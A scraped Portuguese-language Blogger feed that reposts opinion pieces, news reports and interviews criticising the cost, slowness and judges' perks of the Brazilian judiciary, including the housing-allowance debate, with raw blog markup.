5</b><br />A leitura dos dados demonstra que a Justiça em geral desenvolve função arrecadatória dominantemente, a partir de recursos orçamentários oriundos do Poder Executivo, assim como originam-se do Poder Executivo, em qualquer de seus níveis, o estoque de processos.</div>
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Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-36502043189307658332019-06-30T10:06:00.003-03:002019-06-30T10:06:41.624-03:00MAIS CARO E INEFICIENTE DO MUNDO<div dir="ltr" style="text-align: left;" trbidi="on">
<br /><b>6 fatos que mostram por que o Judiciário brasileiro é o mais caro e ineficiente do mundo</b><br /><br /><br />SPOTINIKS. por Felippe Hermes<br /><br />“<b><i>A decisão do Supremo [de libertar José Dirceu] muda a situação do direito penal de terror no Brasi</i></b>l”<br /><br />Em um país com cerca de 250 mil presos provisórios (aqueles que ainda aguardam julgamento), a frase acima pode parecer uma piada de mau gosto. Na narrativa do advogado José Roberto Batochio, responsável pela defesa de Lula e Palocci, esta é a síntese dos fatos de ontem: Moro é um juiz tirano, cujo poder chegar ao fim graças ao STF, e Dirceu, o mártir da vez.<br /><br />Para o ministro Gilmar Mendes, um dos três responsáveis por conceder o habeas corpus (junto dos ministros Dias Toffoli e Ricardo Lewandowski), a atitude do Supremo é uma lição ao Brasil! Segundo ele, uma prova de que a corte não se renderia ao clamor das ruas. Para Gilmar, o fato de o Ministério Público, em especial o procurador Deltan Dallagnol, ter denunciado José Dirceu por receber R$ 2,4 milhões da empreiteira OAS não passa de uma brincadeira juvenil.<br /><br />Com um Congresso e um Executivo que disputam para saber quem protagonizará o escândalo da semana, não é difícil perceber por que raramente damos atenção a casos envolvendo o Judiciário. Desde que a Operação Lava Jato ganhou tamanho, a confiança no Poder Judicial como única instituição capaz de nos livrar deste mar de lama cresceu vertiginosamente. O resultado, porém, foi um clima de vista grossa quase generalizado.<br /><br />Apenas no último biênio, o Judiciário viu aprovado um pacote que lhe garantirá aumentos pelos próximos quatro anos, resultando em despesas da ordem de R$ 60 bilhões, ou 41% de aumento salarial. Um valor considerável para um poder que viu seus gastos com salários crescerem 1348% nas últimas duas décadas, contra 880% de aumento do salário mínimo.<br /><br />No mesmo período, permaneceu sem votação no plenário do Supremo a decisão de conceder auxílio-moradia aos mais de 15 mil magistrados brasileiros. Decisão que se arrasta há quase três anos e que custa aos cofres públicos quase R$ 200 milhões mensais.<br /><br />Ao contrário da corrupção praticada por políticos, cujo estrago pode ser medido e quantificado, as perdas causadas ao país pelo marasmo da justiça dificilmente poderão ser calculadas. Algumas outras questões, porém, dão uma idéia de como precisamos encarar este problema. Abaixo, selecionamos seis fatos que nos ajudam a entender o tamanho do buraco.<div>
<br /><b>1. Nenhum país do mundo gasta tanto em justiça quanto o Brasil.</b><br /><br /><img height="225" src="https://spotniks.com/wp-content/uploads/2017/05/1.jpg" width="400" /><br /><br />Se você é daqueles que, corretamente, se indigna com os privilégios absurdos de políticos brasileiros e não vê sentido em boa parte dos gastos com parlamentares (os segundos mais caros do mundo, segundo a ONU), talvez seja interessante ampliar um pouco o seu horizonte. Para manter toda a estrutura de câmaras municipais, assembleias estaduais, Congresso Nacional e Senado, incluindo aí mais de 62 mil políticos profissionais, gastamos cerca de <a href="http://www.em.com.br/app/noticia/politica/2014/04/07/interna_politica,516136/governo-gasta-r-20-6-bilhoes-para-bancar-o-legislativo.shtml">R$ 20,6 bilhões</a>. Para manter o Judiciário, o custo não sai por menos do que R$ 61 bilhões.<br /><br />Em termos do PIB, a riqueza produzida pelo país, gastamos 1,3% de tudo o que produzimos apenas com justiça. O número é quatro vezes o que gasta a Alemanha ( 0,32%), oito vezes o que gasta o Chile (0,22%) e dez vezes o que gasta a Argentina (0,13%).<br /><br />Some neste montante o gasto com o Ministério Público e chegamos a incríveis<a href="http://observatory-elites.org/wp-content/uploads/2012/06/newsletter-Observatorio-v.-2-n.-9.pdf">1,8</a><a href="https://spotniks.com/wp-admin/post-new.php">Post</a><a href="http://observatory-elites.org/wp-content/uploads/2012/06/newsletter-Observatorio-v.-2-n.-9.pdf">% do PIB</a>. Gastamos com justiça um valor equivalente ao gasto federal em educação, R$ 95 bilhões, ou Saúde, R$ 97 bilhões. O retorno? Um dos judiciários mais lentos do mundo, segundo o Banco Mundial. O <a href="http://www.ambito-juridico.com.br/site/?n_link=visualiza_noticia&id_caderno=20&id_noticia=739">30º mais lento</a> entre 133 países.<br /><br /><br /><b>2. Nosso Judiciário é composto de muitos burocratas e poucos juízes.</b><br /><br /><img height="480" src="https://spotniks.com/wp-content/uploads/2017/05/executivo.jpg" width="640" /><br /><br />Com cinco tribunais superiores, 27 tribunais de justiça estaduais, três tribunais militares estaduais, 27 justiças eleitorais nos Estados, cinco regiões da Justiça Federal e 24 regiões da justiça do trabalho, empregamos ao todo <a href="http://www.cnj.jus.br/noticias/cnj/79579-justica-em-numeros-permite-gestao-estrategica-da-justica-ha-10-anos">390 mil funcionários</a> e 16,2 mil juízes.<br /><br />Nenhum outro país do mundo emprega tantos funcionários na área como o Brasil. São, em média, 205 para cada 100 mil habitantes, contra 150 na Argentina, 66,9 na Alemanha e 42,1 no Chile.<br /><br />Por outro lado, a média de juízes no país ainda é baixa comparada aos demais países do ocidente. Mantemos <a href="http://observatory-elites.org/wp-content/uploads/2012/06/newsletter-Observatorio-v.-2-n.-9.pdf">8,2 magistrados</a> para cada 100 mil habitantes, comparados aos 24,7 da Alemanha e 11,4 da Argentina. O Chile neste caso, possui uma média de cinco para 100 mil.<br /><br />Com isso, sobra para cada juiz uma carga total de <a href="http://www.editorajc.com.br/2015/01/o-poder-judiciario-e-justica-em-numeros/">6.531 processos</a>. Para dar conta em tempo hábil, considerando que cada juiz brasileiro trabalha apenas dez meses por ano, seria necessário que cada juiz julgasse 32,7 processos diariamente.<br /><br />A impossibilidade de julgar tantos processos é uma das razões para a acumulação e demora em decisões judiciais. Na média, cada processo leva cinco anos para ser julgado em primeira instância.<br /><br />O resultado é aquém do esperado pelo Conselho Nacional de Justiça, segundo o qual as justiças estadual e federal deveriam contar com 611 mil funcionários para ‘funcionar de forma adequada’.<div>
<br /><b>3. Manter a Justiça do Trabalho custa mais caro do que todos os benefícios que ela paga.</b><br /><br /><img height="426" src="https://spotniks.com/wp-content/uploads/2017/05/tx_desempreg.jpg" width="640" /><br /><br />Quase uma excentricidade brasileira, a Justiça do Trabalho é uma das explicações para o excesso de processos em andamento no país. Nada menos do que 39,8% das ações que ingressam na justiça brasileira todos os anos são consequência direta de questões trabalhistas.<br /><br />No total, são 7,6 milhões de processos anuais envolvendo rescisões, dano moral ou remunerações diversas do trabalho. Na Justiça do Trabalho, especificamente, chegam em média 2,5 milhões de processos anuais. O número é 70 vezes aquele registrado na justiça americana, e quase mil vezes o número de processos meramente trabalhistas registrados no Japão. A disparidade é tamanha que o Japão sequer possui uma justiça do trabalho.<br /><br /><br />Manter toda a estrutura da Justiça do Trabalho custa em média R$ 61,24 para cada brasileiro todos os anos. No total, R$ 11,68 bilhões. Considerando que o custo recaia apenas sobre os brasileiros que trabalham, são R$ 125 anuais para garantir apenas as questões trabalhistas.<br /><br />O resultado? Segundo o Conselho Nacional de Justiça, em 2013 a mesma Justiça do Trabalho gerou ganhos de <a href="http://economia.estadao.com.br/noticias/geral,justica-do-trabalho-custa-r-61-24-a-cada-brasileiro-imp-,758497">R$ 11,287 bilhões</a> a todos os reclamantes.</div>
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<b><br />4. O maior custo na justiça é para resolver processos gerados pelo próprio governo.</b><br /><br /><img src="https://spotniks.com/wp-content/uploads/2017/05/impostos-800x400.jpg" /><br /><br />Para resolver cada processo, os tribunais de justiça estaduais dispõem, em média, de R$ 458,00, contra R$ 675,00 da Justiça Federal. Quando separada apenas a Justiça do Trabalho, o custo médio por questão processual pode chegar a R$ 1.700,00.<br /><br />No entanto, uma característica marca os mais de <a href="http://www.editorajc.com.br/2015/01/o-poder-judiciario-e-justica-em-numeros/">95 milhões de processos</a> em tramitação no Brasil: 89% deles são feitos por dois litigantes apenas: bancos e o governo.<br /><br />Na soma, os setores públicos municipais, estaduais e federal respondem por 51% dos processos em andamento no país. São processos de origem previdenciária, trabalhista e, especialmente, de execuções fiscais.<br /><br />O caso é tão grave que, determinadas vezes, mais vale “desistir” de uma ação do que levá-la adiante. Sai “mais barato” para o governo aceitar e pagar a ação do que obrigar seu bem remunerado defensor público a se ocupar dela.<br /><br />Em estados como Rio de Janeiro e São Paulo, ações de execução fiscal, perpetradas por governos estaduais e municipais, chegam a ser maioria. Cerca de 62% das ações no RJ e 52% das ações em São Paulo se concentram nesta área.</div>
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<br /><b>5. 100% dos magistrados brasileiros estão entre os 0,5% mais ricos da população.</b><br /><br /><img height="335" src="https://spotniks.com/wp-content/uploads/2017/05/A-quem-interessa-enfraquecer-a-defensoria-p%C3%BAblica-site1-1.jpg" width="640" /><br /><br />Imagine a situação: você é um dos cerca de 16 mil magistrados brasileiros e recebe um salário cujo valor médio é de <a href="http://www.gazetadopovo.com.br/vida-publica/com-auxilio-moradia-penduricalhos-podem-somar-21-do-salario-de-juizes-1kkdj1gvlqz08ksamsxatzgi6">R$ 25 mil</a>. O valor é aproximadamente 14 vezes a média da renda nacional para um trabalhador comum, uma remuneração que lhe coloca entre os 0,5% mais ricos da população brasileira. Não é difícil supor que, para a maioria dos brasileiros, este seja um salário mais do que razoável. Para você, entretanto, o valor é “degradante”. É necessário que você receba uma certa ajuda para fechar as contas do mês, um… Auxílio Moradia!<br /><br />A idéia genial de ajudar os magistrados brasileiros a bancarem o aluguel nos levou a uma situação curiosa. Gastamos atualmente R$ 200 milhões mensais com esta prática, ainda que ela nunca tenha sido julgada em plenário, pois o ministro do STF, Luiz Fux, jamais levou a medida para julgamento (algo que lhe rendeu um pedido de impeachment).<br /><br />Em 20 meses de vigência, o auxílio-moradia custou R$ 2,4 bilhões. Cerca de 10% do gasto com os 47 milhões de beneficiários do Bolsa-Família.<br /><br />Para determinados magistrados, o valor é uma questão de “dignidade”. Segundo o desembargador José Roberto Nalini, presidente do Tribunal de Justiça de São Paulo, o auxílio disfarça um aumento no subsídio, uma vez que no básico estão inclusos os 27% de desconto do imposto de renda e gastos como plano de saúde. Para o desembargador, o salário de um juiz “apenas parece razoável”, mas na prática <a href="http://www.gazetadopovo.com.br/blogs/caixa-zero/desembargador-defende-auxilio-moradia-para-ir-a-miami-comprar-terno-e-para-nao-ter-depresao/">“não dá pra ir toda hora a Miami comprar terno”.</a> O auxílio funciona para que o juiz fique um pouco mais “animado”, não tenha tanta depressão e possa trabalhar melhor.<br /><br />Colocados em situações degradantes como estas, alguns juízes brasileiros defendem certas extravagâncias. Ricardo Lewandowski, presidente do STF, defende, por exemplo: auxílio-alimentação, creche, educação (para filhos de seis a 24 anos), plano de saúde e extra de até 20% no salário para juízes pós-graduados.</div>
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<br /><b>6. Dentre 500 políticos julgados no Supremo Tribunal Federal nos últimos 20 anos, apenas 16 foram condenados.</b><br /><br /><img height="425" src="https://spotniks.com/wp-content/uploads/2017/05/16428631862_6eef536850_c.jpg" width="640" /><br /><br />Realizada pela associação de juízes federais, a estimativa é que existam no Brasil hoje <a href="https://www.google.com.br/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwicm8S2g77TAhXGHpAKHSLpCyAQFggkMAA&url=http%3A%2F%2Foglobo.globo.com%2Fbrasil%2Fforo-privilegiado-no-brasil-mais-amplo-comparado-outros-20-paises-20973826&usg=AFQjCNF-NOnxyQGR7hbeeFtPpMZEckcAWA">45,3 mil</a> pessoas com alguma espécie de foro privilegiado, nada menos do que o dobro do estimado pelos responsáveis pela operação Lava Jato meros dois anos atrás.<br /><br />O número assusta, ainda mais quando comparado a outros países. Na ditadura chinesa, a regalia se resume a 2.987 integrantes do Congresso, que, por lei, só podem ser investigados com a concordância dos 178 membros da cúpula do partido.<br /><br />Em países como Estados Unidos e o Reino Unido, nem mesmo a mais alta autoridade do país, o presidente Donald Trump ou a primeira-ministra Theresa May, possuem tal regalia.<br /><br />Por aqui, o foro é amplo e garante que cada um dos seus beneficiários só poderá ser julgado pela mais alta corte do país.<br /><br />O que deveria ser positivo – afinal, a Suprema Corte possui recursos muito maiores que as demais -, na prática se tornou um refúgio.<br /><br />Nomear envolvidos na Lava Jato, como ministros, por exemplo, tornou-se prática comum por parte da ex-presidente e do atual presidente da república.<br /><br />No fundo, o que conta mesmo é o histórico. De 1998 para cá, o STF julgou nada menos do que 500 políticos, condenando apenas 16 deles.<br /><br />Se serve de consolo, todos eles foram condenados após o julgamento do mensalão.</div>
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Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-29343152697714723122018-03-28T07:41:00.001-03:002018-03-28T07:41:31.862-03:00AMEAÇAS CONTRA MINISTRO DO SUPREMO QUE É SEVERO CONTRA A CORRUPÇÃO<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3rtXBWX87i1oGMU7Ri0eKHkaH_BzDJlL8i8b9iceJ_eogn7246uRHRAhgRuyLDLwWpVyYg9DHAWxAHUQ_3oZ086XOEdLIvialRqPZmZ6ph3TJecyY_feb8AJRLUw8WS6IE51T0EWAc90/s1600/20180327184544963365o.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="405" data-original-width="675" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3rtXBWX87i1oGMU7Ri0eKHkaH_BzDJlL8i8b9iceJ_eogn7246uRHRAhgRuyLDLwWpVyYg9DHAWxAHUQ_3oZ086XOEdLIvialRqPZmZ6ph3TJecyY_feb8AJRLUw8WS6IE51T0EWAc90/s640/20180327184544963365o.jpg" width="640" /></a></div>
<br /><b><br />ZERO HORA 28 de Março de 2018 <br /><br /><br /><br />Fachin relata ameaças a sua família e se diz preocupado com a segurança. MINISTRO DO STF não detalhou quais foram as circunstâncias de intimidação </b><br /><br /> <br /><br /> O relator da Operação Lava- Jato no Supremo Tribunal Federal (STF), Edson Fachin, afirmou ter havido ameaças a integrantes de sua família e se disse preocupado com a segurança. Em entrevista à Globonews, o ministro do Supremo disse que tem tratado do assunto com a presidente da Corte, Cármen Lúcia, e com uma delegada da Polícia Federal (PF) que atua no tribunal, e contou que pediu providências. Fachin não citou quais tipos de ameaças tem sofrido e como teriam acontecido.<br /><br /> - Uma das preocupações que tenho não é só com julgamentos, mas também com a segurança de membros de minha família. Tenho tratado desse tema e de ameaças que têm sido dirigidas a membros de minha família - afirmou Fachin.<br /><br /> O STF informou que já tinha tomado providências sobre o assunto, como o envio de duas delegadas da Polícia Federal (PF) para Curitiba, cidade de origem do ministro, para avaliar o esquema de segurança (confira quadro ao lado), antes da manifestação dele à Globonews. Fachin disse que "nem todos os instrumentos ainda foram agilizados":<br /><br /> - Efetivamente, ando preocupado com isso e esperando que não troquemos a fechadura de uma porta já arrombada também nesse tema.<br /><br /> O ministro construiu sua carreira no Paraná e é integrante do Supremo desde 2015. Ele assumiu a relatoria dos casos da Lava-Jato após a morte de Teori Zavascki em acidente aéreo no início de 2017.<br /><br /> Também é relator do habeas corpus por meio do qual a defesa do ex-presidente Luiz Inácio Lula da Silva conseguiu suspender sua prisão após o fim dos recursos na segunda instância no processo do triplex de Guarujá (SP). A decisão vale até 4 de abril, quando o tribunal retomará o julgamento da questão.<br /><br /> Não é a primeira situação do tipo envolvendo a Lava-Jato neste ano. Em janeiro, o presidente do Tribunal Regional Federal da 4ª Região, Carlos Eduardo Thompson Flores, disse que juízes tiraram suas famílias do Rio Grande do Sul por causa de ameaças.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-91027784947222573822018-03-28T07:38:00.000-03:002018-03-28T07:38:07.618-03:00O CASUISMO DA JUSTIÇA PREJUDICANDO A COMPETIVIDADE EMPRESARIAL<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKZvLbQUjQhz_jfdLef2xYrm-F8SF-mYTtSdhWKeQg8DcoclkxYOQZeLgBgXng5bo_OrRPppdgz-JKBa8gQPMZu2v7HoWhI2rw6j3I4nitjbY1TxcUt6hXDbYTXvy0xo8lEPPYJq8-YZU/s1600/JUS+cumplicidade+justi%25C3%25A7a+Alpino.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="451" data-original-width="630" height="228" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKZvLbQUjQhz_jfdLef2xYrm-F8SF-mYTtSdhWKeQg8DcoclkxYOQZeLgBgXng5bo_OrRPppdgz-JKBa8gQPMZu2v7HoWhI2rw6j3I4nitjbY1TxcUt6hXDbYTXvy0xo8lEPPYJq8-YZU/s320/JUS+cumplicidade+justi%25C3%25A7a+Alpino.jpg" width="320" /></a></div>
<b><br /><br />ZERO HORA 28 de Março de 2018 - INDICADORES<br /><br /><br /><br />Competitividade, lucratividade, perpetuidade e judiciário <br /><br /> <br /><br /> Ricardo Hingel<br /> Economista</b><br /><br /><br /><br /> As duas primeiras palavras do título resumem as necessidades de qualquer empresa para atingir a perpetuidade. Mesmo aquelas menores, que se confundem com a figura de seu proprietário, ou até mesmo as grandes multinacionais, todas têm como objetivo comum se perpetuar.<br /><br /> Para que uma empresa se mantenha viva, a competitividade traz junto o requisito da lucratividade, que é a forma de se manter crescendo, criando condições não só de pagar suas contas, mas também proporcionar capacidade de reinvestir, única forma de crescer e se manter; competitividade e lucratividade se retroalimentam e são interdependentes. A conjugação destas duas variáveis levará à perpetuidade, que é uma resultante.<br /><br /> A competitividade é certamente o grande desafio de todo empresário, em especial no Brasil, onde a corrida de obstáculos é bem mais árdua do que na maioria dos países comparáveis, sendo que somente suas competências e talentos podem não ser suficientes.<br /><br /> Em pesquisa divulgada no ano passado pelo Fórum Econômico Mundial sobre competitividade, o Brasil ficou em 80º lugar no ranking entre 137 países pesquisados. Estávamos em 48º lugar em 2012. Agora, estamos atrás de Irã e Albânia. Burocracia estatal, incertezas jurídicas e trabalhistas, elevada e complexa carga tributária, infraestrutura ruim, instabilidade econômica com constantes mudanças de regras e cenários e a manutenção de históricos juros elevados constituíram um conjunto de fatores agravados pela corrupção e pela impunidade, transformando a atividade empresarial brasileira em um duro exercício de sobrevivência.<br /><br /> Questão grave também: no Índice de Percepção da Corrupção 2017, estudo divulgado pela Transparência Internacional, ficamos no 96º lugar entre 180 países analisados. No relatório de competitividade referido anteriormente, no item independência do Judiciário, ficamos em 59%, ou seja, há desconfiança quanto a sua atuação, o que implica e amplia a percepção de corrupção e impunidade. Judiciário não independente é justiça casuística, fere o artigo 5° da nossa Constituição, que define que todos são iguais perante a lei.<br /><br /> Quando no Brasil tudo se judicializa e acaba no STJ ou no STF, retira-se celeridade dos processos, aumenta-se a incerteza jurídica e personalizam-se julgamentos. Uma justiça funcionando por interpretações, caso a caso, torna nossas leis subjetivas, subvertendo o processo democrático, ao transferir ao Judiciário o poder de legislar.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-43014262430462200672018-03-17T19:52:00.002-03:002018-03-17T19:52:38.143-03:00BARÃO DA MACONHA <div dir="ltr" style="text-align: left;" trbidi="on">
<b>ZERO HORA 17 de Março de 2018 <br /><br />VITOR ROSA</b><br />
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<b></b><br />
<b></b><br />
<b><br />Preso havia oito meses, maior traficante do sul do país é solto </b><br /> <br /><br /> O homem considerado o maior traficante do Sul do Brasil saiu da Penitenciária de Alta Segurança de Charqueadas (Pasc) na última quarta- feira. Foragido desde 2013, Neri José Soares, o Nazareth, 39 anos, foi preso em julho de 2017 em grande operação organizada pelo Departamento Estadual de Investigações do Narcotráfico (Denarc) da Polícia Civil, em parceria com a Polícia Federal do Paraguai.<br /><br /> A libertação de Nazareth gerou alerta na segurança pública gaúcha. Mensagem passou a circular em celulares de policiais avisando sobre o alto grau de periculosidade do criminoso.<br /><br /> À época da prisão, após investigações de um ano e sete meses, autoridades brasileiras e paraguaias afirmaram que Nazareth movimentava R$ 120 milhões por mês com a distribuição de 42 toneladas de maconha no Rio Grande do Sul e em outros Estados. Ele também estaria envolvido, segundo a polícia paraguaia, em ataque à sede da Prosegur, em abril de 2017, em Cidaud del Este. O assalto resultou na morte de um policial e rendeu aos bandidos US$ 40 milhões. Há suspeita de que o grupo tenha usado lanchas para transportar os malotes.<br /><br /> A juíza que o soltou, Tais Culau de Barros, considerou que Nazareth estava preso preventivamente apenas pelo homicídio, pelo qual nem chegou a ser levado a Júri (não foi pronunciado), por falta de provas. Em sua decisão, a magistrada verificou que ele não tinha mais processo de execução ativo, ou seja, já havia cumprido integralmente pena de condenação por tráfico, e que não há decretação da prisão dele em nenhum outro processo.<br /><br /> A Promotoria de Justiça do Tribunal do Júri da Capital entrou, no mesmo dia, com recurso contra a soltura. Procurado, o Denarc informou que não iria se manifestar sobre a decisão judicial.<br />
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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsnjNY4_brgIwJYQCOCZNe0Nn_7NUWnbnv6wCd2CQuyBfb0fjOMBetp8OS3K_Gbo18LDWm0t4i6byETGPCkuycZv-fgcpN3DkuG19GwbGTqDEvAaIlo5HWdGN0C9imnsPa-ZiDfTOUQok/s1600/jus+traficante+liberado.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="843" data-original-width="545" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsnjNY4_brgIwJYQCOCZNe0Nn_7NUWnbnv6wCd2CQuyBfb0fjOMBetp8OS3K_Gbo18LDWm0t4i6byETGPCkuycZv-fgcpN3DkuG19GwbGTqDEvAaIlo5HWdGN0C9imnsPa-ZiDfTOUQok/s400/jus+traficante+liberado.jpg" width="257" /></a></div>
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Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-31017902376423185072018-03-17T19:45:00.002-03:002018-03-17T19:45:52.251-03:00AUXILIO MORADIA, DEFENDENDO O BENEFÍCIO<div dir="ltr" style="text-align: left;" trbidi="on">
<br /><br /><b>ZERO HORA 17 de Março de 2018 <br /><br /><br />ENTREVISTAS<br /><br /> <br />"Há uma clara tentativa de nos atingir e de desviar o foco" <br /><br /><br /> JAYME DE OLIVEIRA ELIANA CALMON </b><br />
<b>Presidente da Associação dos Magistrados Brasileiros</b><br /><br /> Presidente da Associação dos Magistrados Brasileiros (AMB), entidade que reúne 14 mil juízes estaduais, trabalhistas, federais e militares, Jayme de Oliveira defende a manutenção do auxílio-moradia. Diz que o benefício está previsto em lei - e que, portanto, não há imoralidade - e sugere que o atual debate é uma tentativa de atingir o Judiciário.<br /><br /> <b>Entidades que representam os magistrados têm reclamado de uma campanha difamatória envolvendo o auxílio-moradia. Qual sua avaliação?</b><br /><br /> É verdade, a campanha existe. Com todas as questões que o Brasil tem vivenciado, o Legislativo se desgastou. O Executivo também já vinha desgastado desde o impedimento da presidente da República. Depois, o atual presidente também sofreu pedidos de impedimento. A partir daí, teve início um ataque permanente ao Judiciário. Há uma clara tentativa de nos atingir e de desviar o foco.<br /><br /> <b>O auxílio-moradia é um benefício polêmico. Mesmo sendo legal, é ético?</b><br /><br /> Sim. Está previsto em lei desde 1979. A lei diz que o Estado tem de oferecer residência funcional aos magistrados. Se não oferece, tem de dar ajuda de custo. Parte da magistratura recebia e parte não, mas o STF entendeu que a carreira é uma só. Aquela disparidade não podia continuar.<br /><b><br /> Alguns juízes abriram mão por considerar antiético. O que o senhor acha?</b><br /><br /> É uma posição pessoal de cada um. Não vou criticar. Se o colega for rico e não precisar do dinheiro, pode devolver.<br /><b><br /> Não é imoral que mesmo juízes com imóvel próprio recebam?</b><br /><br /> Não tem nada de imoral. O Estado está indenizando, na forma de ajuda de custo, aqueles que não têm residência oficial. Foi por isso que (o ministro Luiz) Fux concedeu a liminar em 2014, que nunca foi compreendida. Se ela cair, os juízes com residências oficiais voltarão a ter vantagem.<br /><br /> <b>Mas essas residências ainda existem?</b><br /><br /> Sim, são poucas. Essa não é uma particularidade do Brasil. Em Portugal, o Estado também tinha residências oficiais. Vendeu e hoje paga 750 euros para os magistrados. É uma forma de igualar a todos.<br /><br /> <b>Quando o subsídio foi criado, uma das justificativas era acabar com os "penduricalhos". Mas, hoje, os magistrados recebem muitas verbas. Como se explica?</b><br /><br /> Não chamo de penduricalhos, porque são verbas que o setor privado tem e o setor público também. Quando se adotou o regime de subsídios, a ideia era: vamos estabelecer um salário padronizado, que será corrigido anualmente. A Constituição manda isso. Só que o subsídio não é corrigido desde 2015.<br /><br /> <b>É uma compensação por perdas salariais?</b><br /><br /> Não. Essa é uma avaliação equivocada de alguns colegas, que temos procurado esclarecer.<br /><br /> <b>O que o senhor espera da análise do tema pelos ministros do STF?</b><br /><br /> Se o STF analisar com cuidado, deve manter o auxílio-moradia, mas sabemos que o tema é polêmico e que divide opiniões.<br /><br /> Ex-corregedora nacional de Justiça</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-25209685012919634502018-03-17T19:43:00.001-03:002018-03-17T19:43:47.281-03:00AUXILIO MORADIA MINA CREDIBILIDADE DA JUSTIÇA<div dir="ltr" style="text-align: left;" trbidi="on">
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLBR4m_kp2A0yVSZM4FU4HF9e3JttbfkZy26zGMUvr94N1IMYEa4a79kXVrmuU1Z8tmDecqKGxRmDSPYug2USGD-sFchjexBkR0pa5nPIVugrp8dxBpwW0tsAdy7VofVi-vwDUFEhZ7lU/s1600/jus+eliana-calmon.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="265" data-original-width="410" height="257" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLBR4m_kp2A0yVSZM4FU4HF9e3JttbfkZy26zGMUvr94N1IMYEa4a79kXVrmuU1Z8tmDecqKGxRmDSPYug2USGD-sFchjexBkR0pa5nPIVugrp8dxBpwW0tsAdy7VofVi-vwDUFEhZ7lU/s400/jus+eliana-calmon.jpg" width="400" /></a></div>
<br /><br /><b>ZERO HORA 17 de Março de 2018 <br /><br /><br />ENTREVISTAS <br /><br /><br />"O auxílio-moradia mina a credibilidade da Justiça" </b><br /><br /> <br /><br /> <br /><br /> Ministra aposentada do Superior Tribunal de Justiça (STJ) e ex-corregedora do Conselho Nacional de Justiça (CNJ), Eliana Calmon, 73 anos, critica o auxílio-moradia. A jurista, que hoje advoga em Brasília, classifica o benefício como "puxadinho" nos contracheques e diz acreditar que o Supremo Tribunal Federal (STF) derrubará o pagamento da ajuda.<br /><br /> <b>Entidades que representam os magistrados têm reclamado de campanha difamatória envolvendo o auxílio-moradia. Qual sua avaliação?</b><br /><br /> Não acho que seja campanha difamatória. Acho que eles estão insatisfeitos porque se sentem desconfortáveis. O auxílio-moradia deveria ser episódico e temporário, mas virou um puxadinho. Votei contra no Conselho da Justiça Federal (em 2013). Ficaram furiosos. Fui muito malvista. O fato é que a decisão de (Luiz) Fux, em 2014, foi equivocada.<br /><br /> <b>Mesmo sendo legal, o pagamento do auxílio- moradia é ético?</b><br /><br /> No meu entendimento, foge à previsão legal, então não é ético. A Lei Orgânica da Magistratura (Loman) limita o auxílio-moradia aos casos de juízes que estão fora de sua sede, de seu foro natural. Eles formam uma corrente dizendo que existe fundamento legal, mas não existe. No fundo, as associações de classe sabem disso. A prova maior é que ficam dando desculpas esfarrapadas, botando a culpa nos outros. O auxílio-moradia está minando a credibilidade da Justiça.<br /><b><br /> O auxílio-moradia é uma compensação por perdas salariais?</b><br /><br /> Alguns juízes mais sensíveis têm reconhecido isso. Mas, para mim, não está certo: salário é salário e verba adicional é verba adicional. Agora, se o argumento for verdadeiro, temos de colocar os pontos nos "is": sobre parcela de natureza salarial, tem de incidir Imposto de Renda.<br /><br /> <b>Quando o subsídio foi criado, uma das justificativas era acabar com os chamados penduricalhos. Mas, hoje, os magistrados recebem muitas verbas. Como se explica isso?</b><br /><br /> A magistratura tem muita dificuldade de conseguir aumento salarial, porque estabelece o teto do serviço público. Essa dificuldade acabou gerando os penduricalhos. Cada tribunal inventou uma coisa. O do Rio de Janeiro é um dos piores. Tem penduricalho de tudo quanto é jeito. É uma esculhambação. Isso acaba colocando a sociedade contra a magistratura.<br /><br /> <b>O que a senhora espera da análise dos ministros do Supremo?</b><br /><br /> Não acredito que o Supremo tenha força suficiente para impor o auxílio-moradia da forma como está. É exatamente esse o desespero das associações de classe. Eles estão vendo que a pressão popular vai influenciar o Supremo.<br /><b><br /> A senhora recebia auxílio-moradia quando estava na ativa?</b><br /><br /> Quando me aposentei, ainda não estavam pagando.<br /><br /> Se pudesse, receberia o benefício?<br /><br /> Como sou xiita, acho que não receberia, mas não quero parecer que, por estar aposentada, estou dando uma de boazinha. Não sei se receberia ou não, porque quando a gente vê R$ 4,3 mil na conta bancária não é assim tão fácil tirar.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-27201100533548205502018-03-17T19:41:00.001-03:002018-03-17T19:41:29.665-03:00MINORIA SILENCIOSA E MAL VISTA ABRINSO MÃO DO AUXILIO-MORADIA<div dir="ltr" style="text-align: left;" trbidi="on">
